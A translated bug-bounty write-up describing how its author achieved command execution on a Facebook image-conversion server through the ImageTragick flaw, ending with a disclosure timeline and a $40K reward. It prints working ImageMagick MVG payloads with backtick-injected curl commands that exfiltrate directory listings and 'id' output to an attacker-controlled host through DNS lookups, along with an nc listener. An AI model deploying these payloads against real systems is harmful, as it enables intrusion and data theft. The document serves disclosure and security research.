Facebook tragedies

    Hello! Yes, I promised to talk about new vulnerabilities 2 years 11 months and 6 days ago . But over time, it became clear that either they were not interesting, or they would have to talk about them with the help of screenshots more similar to declassified documents of special services - a couple of meaningless words and a bunch of black rectangles. But - the time has come.

    I am sure that all of you have heard about ImageMagick and its "Tragedy". This vulnerability was discovered at the end of April 2016 and due to the fact that many image processing plugins used the ImageMagick library, this problem covered a large number of systems. Since there was evidence that information about this vulnerability was available not only to the researchers who discovered it and ImageMagick developers, but also to third parties, on May 3, 2016, vulnerability information (without PoC) was disclosed to the whole world. Many researchers took advantage of this information and found vulnerabilities in applications that were not updated on time. Unfortunately, I was not among these lucky ones. But that was in May :)

    Once on Saturday, outside the window was St. Petersburg in October, I tested one great service - not Facebook. But one of the redirects brought me to it - it was the “Share on Facebook” dialog:

    image

    https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

    This dialogue could be seen by many of you. If we take a closer look, we can see that the `picture` parameter is a link to the image. But there is no such image in the content of the page. For instance:

    https://www.google.com/images/errors/robot.png

    https://www.google.com/images/errors/robot.png

    Turns into something like this:

    https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cs= 1 & _nc_hash = AQD2uvqIgAdXgWyb

    https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

    The first thing I thought about was SSRF vulnerability in one form or another. But tests showed that url from this parameter is requested from the subnet on 13/31/97. * With the user agent facebookexternalhit / 1.1 . For instance:

    $ nc -lvvv 8088
    Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
    GET /exploit.png?ddfadsvdbv HTTP/1.1
    User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
    Accept: */*
    Accept-Encoding: deflate, gzip
    Host: attacker.tld
    Connection: keep-alive

    And all this looks like a normal request from an isolated subnet, which is specifically designed for this.

    But in any case, the application performs image conversion with some kind of converter, and I began to dig in this direction. After several tests (one of my favorites that brought me a lot of money is parsing and converting SVG images, which are actually XML files, to get SSRF from a server that converts, and which is far from always the same as the north from which an image was requested or, if I was really lucky, get XXE ) I was very upset. None of them worked.

    ImageTragick was the last hope. Although I already had no hope. If you are not very familiar with the details of the vulnerability and its exploitation or are lazy, here you can find ready-made PoCs .

    This is how the simplest exploit.png payload looks like :
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
    pop graphic-context

    Drum roll ... and nothing happened:

    $ nc -lvvv 80

    Facepalm and Okay.

    “But what if ... if these are just firewall restrictions?” I asked myself.

    OK. This really happens quite often when a company blocks normal http requests but doesn't block DNS requests. Well, try another payload:
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
    pop graphic-context

    It should be borne in mind that in this case, the attacker uses a DNS server that writes logs of requests to him. And as a result we get:
    IP: 31.13. *. *; NetName: LLA1-11
    NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

    Whois IP tells us:
    netname: LLA1-11
    descr: Facebook

    The party begins :) Thus, the application works as follows:

    • Receives the `picture` parameter and requests it - this is a valid request and there are no vulnerabilities in it
    • The resulting image is transmitted to the converter, which used the vulnerable version of the ImageMagick library

    To be honest, I tried to find the usual way of operating this http-request, but quick tests showed that either all outgoing ports are closed, or I would have spent too much time in order to find at least one open one. And I went the other way, which was enough to confirm the operation.

    Payload:
    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
    pop graphic-context

    Result:
    NAME: home.attacker.tld, Type: A
    NAME: boot.attacker.tld, Type: 28
    NAME: dev.attacker.tld, Type: 28
    NAME: bin.attacker.tld, Type: A
    …
    …

    And so on ...

    The bash `id` command returned:
    NAME: uid=99(nobody).attacker.tld., Type: 28
    NAME: groups=99(nobody).attacker.tld., Type: A
    NAME: gid=99(nobody).attacker.tld., Type: A

    To confirm that the exploit works, I sent the output of the command `cat / proc / version` to the Facebook security team , which I won’t show here.

    In accordance with the Facebook Responsible Dissemination Policy, I haven’t already dug deeper.

    After I submitted the report, Neil and I from the Facebook security team discussed that the output of `cat / proc / version | base64` could be much more convenient for a DNS query, and more in-depth research has shown that base32 is usually used in DNS tunneling techniques (more details here: https://www.sans.org/reading-room/whitepapers/dns/detecting- dns-tunneling-34152 ).

    I am happy to be one of those who hacked Facebook.

    That's all:)

    Timeline:
    Oct 16, 2016, 03:31 am: First report
    Oct 18, 2016, 05:35 pm: Neil from the security team requested a PoC, which I used during the investigation
    Oct 18, 2016, 08:40 pm: I sent PoC and accompanied it additional information
    18 Oct 2016, 10:31 pm: The vulnerability was confirmed by Neal
    19 Oct 2016, 12:26 am: Neal notified that the fix was in the process of calculation
    19 Oct 2016, 02:28 am: Neal reported that the vulnerability was fixed
    on 19 Oct 2016, 07:49 am: I confirmed that the vulnerability was fixed and requested the disclosure procedure
    Oct 22, 2016, 03:34 am: Neil answered about the disclosure procedure and time
    28 Oct 2016, 03:04 pm: Remuneration assigned ($ 40K)
    Dec 16, 2016: Disclosure Exit is allowed.

    Also popular now: